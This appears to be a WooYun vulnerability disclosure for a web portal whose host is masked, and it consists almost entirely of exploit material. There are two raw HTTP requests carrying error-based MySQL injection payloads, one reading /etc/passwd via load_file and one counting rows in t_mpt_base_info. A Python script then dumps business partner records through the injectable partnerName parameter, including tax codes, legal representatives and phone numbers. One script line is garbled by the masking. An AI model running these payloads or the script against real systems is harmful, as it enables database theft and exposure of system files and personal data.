WooYun.org

POST /PAR_PO_WW/indexController.jhtml?cmd=noticeDetail HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 101
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://**.**.**.**/portal/index.jhtml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=DF4CD228E00D50823CB5A1C81E200CC6
id=61706' and 1=(select 1E308*if((select*from(select substr(load_file('/etc/passwd'),1,450))x),2,2))#

POST /PAR_PO_WW/WebMptBaseInfoController.jhtml?cmd=validateOrgCode HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 93
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://**.**.**.**
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://**.**.**.**/PAR_PO_WW/WebRegController.jhtml?cmd=toRegInfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=18ED1DDDDB3F6FCF80CF16D248935D55
org_code=' and 1=(select 1E308*if((select*from(select count(*) from t_mpt_base_info)x),2,2))#

import requests
import re
import urllib
def getHeadersFromHttpRaw(raw_text):
	#return a dict containing headers from raw
	headers={}
	t=raw_text.split('\n\n',1)[0].split('\n')
	for i in range(1,len(t)):
		t2=t[i].split(": ")
		headers[t2[0]]=t2[1]
	return headers
def mysqlHextoRaw(Hexed_text):
	b=""
	i=0
	while(i<len(Hexed_text)):
		b+="%"+Hexed_text[i:i+2]
		i+=2
	return urllib.unquote(b).decode('utf8')
pattern=**.**.**.**pile(r"(?<=1E308 \* if\(\(select ')(.*?)(?=' from dual)")
raw1="""
Host: **.**.**.**
Connection: Close
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate"""
data1="""partner_name=' and 1=(select 1E308*if((select*from(select CONCAT_WS("|",IFNULL(partner_type,''),IFNULL(card_type,''),IFNULL(org_code,''),hex(IFNULL(partner_name,'')),IFNULL(partner_name_en,''),IFNULL(country,''),hex(IFNULL(province_code,'')),hex(IFNULL(city_name,'')),IFNULL(tax_type,''),IFNULL(tax_code,''),IFNULL(corp_portal,''),hex(IFNULL(partner_address,'')),IFNULL(org_type,''),IFNULL(corp_alias,''),hex(IFNULL(legal_representative,'')),IFNULL(orgcode_start_date,''),IFNULL(orgcode_end_date,''),IFNULL(enroll_fund,''),IFNULL(currency_type,''),IFNULL(phone_number,''),IFNULL(fax_number,''),IFNULL(admin_org,''),IFNULL(admin_org_code,''),IFNULL(buss_type,''),IFNULL(post_code,''),IFNULL(enroll_code,''),IFNULL(enroll_date,''),IFNULL(license_code,''),IFNULL(license_code_start,''),IFNULL(license_code_end,''),hex(IFNULL(buss_scope,'')),IFNULL(is_listed,''),IFNULL(partner_id,''),IFNULL(partner_mdm_code,''),IFNULL(parent_code,''),IFNULL(first_reg_role,''),IFNULL(first_reg_prov,'')) from t_mpt_base_info limit $._.$,1)x),2,2))#"""
for i in range(888,899):
	a=requests.post("https://**.**.**.**:443/PAR_PO_WW/WebMptBaseInfoController.jhtml?cmd=validatePartnerName",headers=getHeadersFromHttpRaw(raw1),data=data1.replace("$._.$",str(i)),verify=False,proxies={"https":"http://localhost:27000"})
	b=pattern.search(a.content).group()
	c=b.split("|")
	for i in [3,6,7,11,14,30]:
		c[i]=mysqlHextoRaw(c[i])
	b="|".join(c)
	print b